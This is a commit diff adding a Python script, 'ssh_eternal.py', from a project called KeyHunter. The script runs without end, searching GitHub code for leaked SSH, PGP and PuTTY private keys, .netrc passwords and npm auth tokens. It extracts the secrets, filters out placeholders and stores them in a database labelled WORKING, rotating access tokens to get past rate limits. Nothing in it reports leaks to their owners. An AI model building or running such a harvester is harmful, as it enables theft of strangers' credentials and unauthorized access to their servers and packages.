KeyHunter parser v10 + 18 scanners + tests (synthetic fixtures only, no keys/db/tokens)
This commit is contained in:
249
ssh_eternal.py
Normal file
249
ssh_eternal.py
Normal file
@@ -0,0 +1,249 @@
|
||||
"""ETERNAL SSH/creds hunt: GitHub code search for private keys (OpenSSH/RSA/
|
||||
EC/DSA/PKCS8/PGP/PuTTY) + .netrc + .npmrc. Keys stored b64-encoded single-line
|
||||
(status WORKING — structural validity, no API to check). Logs ssh_eternal.log."""
|
||||
import os
|
||||
KF_BASE = os.path.dirname(os.path.abspath(__file__))
|
||||
os.makedirs(os.path.join(KF_BASE, "data"), exist_ok=True)
|
||||
import base64
|
||||
import hashlib
|
||||
import random
|
||||
import re
|
||||
import sqlite3
|
||||
import subprocess
|
||||
import time
|
||||
|
||||
import requests
|
||||
|
||||
DB = os.environ.get("KF_DB") or os.path.join(KF_BASE, "data", "keys.db")
|
||||
LOG = "data/ssh_eternal.log"
|
||||
TOKENS_FILE = "gh_tokens.txt"
|
||||
UA = {"User-Agent": "keyhunter-ssh"}
|
||||
|
||||
# (prov, code-search query)
|
||||
DORKS = [
|
||||
("SSH_KEY", '"BEGIN OPENSSH PRIVATE KEY"'),
|
||||
("SSH_KEY", '"BEGIN RSA PRIVATE KEY"'),
|
||||
("SSH_KEY", '"BEGIN EC PRIVATE KEY"'),
|
||||
("SSH_KEY", '"BEGIN DSA PRIVATE KEY"'),
|
||||
("SSH_KEY", '"BEGIN PRIVATE KEY" -BEGIN"RSA"'),
|
||||
("PGP_KEY", '"BEGIN PGP PRIVATE KEY BLOCK"'),
|
||||
("PUTTY_KEY", '"PuTTY-User-Key-File-2"'),
|
||||
("NETRC", "filename:.netrc password"),
|
||||
("NPMRC_TOKEN", "filename:.npmrc _authToken"),
|
||||
]
|
||||
|
||||
PEM_RX = re.compile(
|
||||
r"-----BEGIN [A-Z0-9 ]*PRIVATE KEY[ BLOCK]*-----[\s\S]+?"
|
||||
r"-----END [A-Z0-9 ]*PRIVATE KEY[ BLOCK]*-----")
|
||||
PPK_RX = re.compile(
|
||||
r"PuTTY-User-Key-File-\d[\s\S]{100,30000}?Private-MAC: [0-9A-Fa-f]{16,}")
|
||||
NPMRC_RX = re.compile(r"_authToken=([0-9A-Za-z_-]{20,})")
|
||||
NETRC_RX = re.compile(
|
||||
r"machine\s+(\S+)\s+login\s+(\S+)\s+password\s+(\S+)")
|
||||
|
||||
GARBAGE = ("xxxx", "EXAMPLE", "example", "FAKE", "fake", "placehol",
|
||||
"changeme", "yourkey", "deadbeef", "00000", "test", "TEST")
|
||||
|
||||
|
||||
def log(msg):
|
||||
line = f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {msg}\n"
|
||||
print(line, flush=True)
|
||||
with open(LOG, "a", encoding="utf-8", errors="replace") as f:
|
||||
f.write(line)
|
||||
|
||||
|
||||
def load_tokens():
|
||||
toks = []
|
||||
try:
|
||||
r = subprocess.run(["gh", "auth", "token"], capture_output=True,
|
||||
text=True, timeout=5)
|
||||
if r.stdout.strip():
|
||||
toks.append(r.stdout.strip())
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
with open(TOKENS_FILE, "r", encoding="utf-8") as f:
|
||||
for line in f:
|
||||
t = line.strip()
|
||||
if t and not t.startswith("#") and t not in toks:
|
||||
toks.append(t)
|
||||
except Exception:
|
||||
pass
|
||||
return toks
|
||||
|
||||
|
||||
TOKENS = load_tokens()
|
||||
_idx = 0
|
||||
|
||||
|
||||
def tok():
|
||||
global _idx
|
||||
if not TOKENS:
|
||||
return None
|
||||
_idx = (_idx + 1) % len(TOKENS)
|
||||
return TOKENS[_idx]
|
||||
|
||||
|
||||
def db_exec(cur, sql, args):
|
||||
for _ in range(6):
|
||||
try:
|
||||
return cur.execute(sql, args)
|
||||
except sqlite3.OperationalError:
|
||||
time.sleep(5)
|
||||
return cur.execute(sql, args)
|
||||
|
||||
|
||||
def db_add(cur, seen, val, prov, repo):
|
||||
if isinstance(val, tuple):
|
||||
val = val[0]
|
||||
if val in seen or len(val) < 30:
|
||||
return 0
|
||||
seen.add(val)
|
||||
db_exec(
|
||||
cur, "INSERT INTO keys (hash, val, prov, status, found, repo) "
|
||||
"VALUES (?,?,?,?,?,?) "
|
||||
"ON CONFLICT(hash) DO UPDATE SET status='NEW', found=excluded.found, repo=excluded.repo "
|
||||
"WHERE keys.status IN ('DEAD','ERR')",
|
||||
(hashlib.sha1(val.encode()).hexdigest()[:16], val, prov, "WORKING",
|
||||
"ssh", repo))
|
||||
return 1
|
||||
|
||||
|
||||
def extract(text, prov_hint, out, repo):
|
||||
n = 0
|
||||
for m in PEM_RX.finditer(text):
|
||||
block = m.group(0)
|
||||
# count base64 payload length between header/footer lines
|
||||
lines = block.strip().splitlines()
|
||||
payload = "".join(lines[1:-1]) if len(lines) > 2 else ""
|
||||
if len(payload) < 80 or any(g in block for g in GARBAGE):
|
||||
continue
|
||||
prov = "PGP_KEY" if "PGP" in block else "SSH_KEY"
|
||||
enc = "b64:" + base64.b64encode(block.encode()).decode()
|
||||
out.append((enc, prov)); n += 1
|
||||
for m in PPK_RX.finditer(text):
|
||||
block = m.group(0)
|
||||
if any(g in block for g in GARBAGE):
|
||||
continue
|
||||
enc = "b64:" + base64.b64encode(block.encode()).decode()
|
||||
out.append((enc, "PUTTY_KEY")); n += 1
|
||||
if prov_hint == "NETRC":
|
||||
for m in NETRC_RX.finditer(text):
|
||||
val = f"{m.group(1)}:{m.group(2)}:{m.group(3)}"
|
||||
if any(g in val for g in GARBAGE):
|
||||
continue
|
||||
out.append((val, "NETRC")); n += 1
|
||||
if prov_hint == "NPMRC_TOKEN":
|
||||
for m in NPMRC_RX.finditer(text):
|
||||
if any(g in m.group(1) for g in GARBAGE):
|
||||
continue
|
||||
out.append((m.group(1), "NPMRC_TOKEN")); n += 1
|
||||
return n
|
||||
|
||||
|
||||
def search_code(query, page, session):
|
||||
for attempt in range(3):
|
||||
h = dict(UA)
|
||||
t = tok()
|
||||
if t:
|
||||
h["Authorization"] = f"Bearer {t}"
|
||||
try:
|
||||
r = session.get(
|
||||
"https://api.github.com/search/code",
|
||||
params={"q": query, "per_page": 50, "page": page},
|
||||
headers=h, timeout=30)
|
||||
except requests.RequestException as e:
|
||||
log(f"search net-err {type(e).__name__} q={query[:40]}")
|
||||
time.sleep(30)
|
||||
continue
|
||||
if r.status_code in (403, 429):
|
||||
return "rate", []
|
||||
if r.status_code == 401 and attempt < 2:
|
||||
continue # dead token block — rotate and retry
|
||||
if r.status_code != 200:
|
||||
return f"err{r.status_code}", []
|
||||
return "ok", r.json().get("items", [])
|
||||
return "err401", []
|
||||
|
||||
|
||||
def fetch_raw(item, session):
|
||||
h = dict(UA)
|
||||
t = tok()
|
||||
if t:
|
||||
h["Authorization"] = f"Bearer {t}"
|
||||
url = item.get("git_url") # blob API
|
||||
if not url:
|
||||
return None
|
||||
try:
|
||||
r = session.get(url, headers=h, timeout=30)
|
||||
except requests.RequestException:
|
||||
return None
|
||||
if r.status_code != 200:
|
||||
return None
|
||||
try:
|
||||
data = __import__("json").loads(r.text)
|
||||
return base64.b64decode(data.get("content", "")).decode(
|
||||
"utf-8", errors="replace")
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
|
||||
def main():
|
||||
log("ssh_eternal started")
|
||||
session = requests.Session()
|
||||
if not TOKENS:
|
||||
log("WARNING: no tokens — GitHub search will fail; relying on anon")
|
||||
seen = set()
|
||||
cycle = 0
|
||||
while True:
|
||||
cycle += 1
|
||||
for prov_hint, query in DORKS:
|
||||
try:
|
||||
found = 0
|
||||
for page in (1, 2):
|
||||
status, items = search_code(query, page, session)
|
||||
if status != "ok":
|
||||
if status == "rate":
|
||||
log("rate limited — sleep 60s")
|
||||
time.sleep(60)
|
||||
else:
|
||||
log(f"search {status} q={query[:40]}")
|
||||
break
|
||||
out = []
|
||||
for item in items:
|
||||
repo = item.get("repository", {}).get(
|
||||
"full_name", "unknown")
|
||||
text = fetch_raw(item, session)
|
||||
if not text or len(text) > 500_000:
|
||||
continue
|
||||
found += extract(text, prov_hint, out, repo)
|
||||
if out:
|
||||
# ponytail: retry loop vs concurrent writers (hunt5,
|
||||
# rescue, eternal_v10) holding the WAL lock
|
||||
for db_try in range(5):
|
||||
try:
|
||||
c = sqlite3.connect(DB, timeout=120, check_same_thread=False, isolation_level=None)
|
||||
try:
|
||||
for val, prov in out:
|
||||
db_add(c, seen, val, prov, repo)
|
||||
c.commit()
|
||||
finally:
|
||||
c.close()
|
||||
break
|
||||
except sqlite3.OperationalError as e:
|
||||
log(f"db lock retry {db_try + 1}/5: {e}")
|
||||
time.sleep(60)
|
||||
else:
|
||||
log(f"db insert FAILED, dropping {len(out)} keys")
|
||||
time.sleep(3 + random.random() * 2)
|
||||
log(f"cycle {cycle} [{prov_hint}] +{found} (seen={len(seen)})")
|
||||
except Exception as e:
|
||||
log(f"dork {prov_hint} error: {type(e).__name__}: {e}")
|
||||
time.sleep(5 + random.random() * 5)
|
||||
# long pause between full dork sweeps (search rate limits are shared
|
||||
# with eternal_v10 on the node)
|
||||
time.sleep(120 + random.random() * 120)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user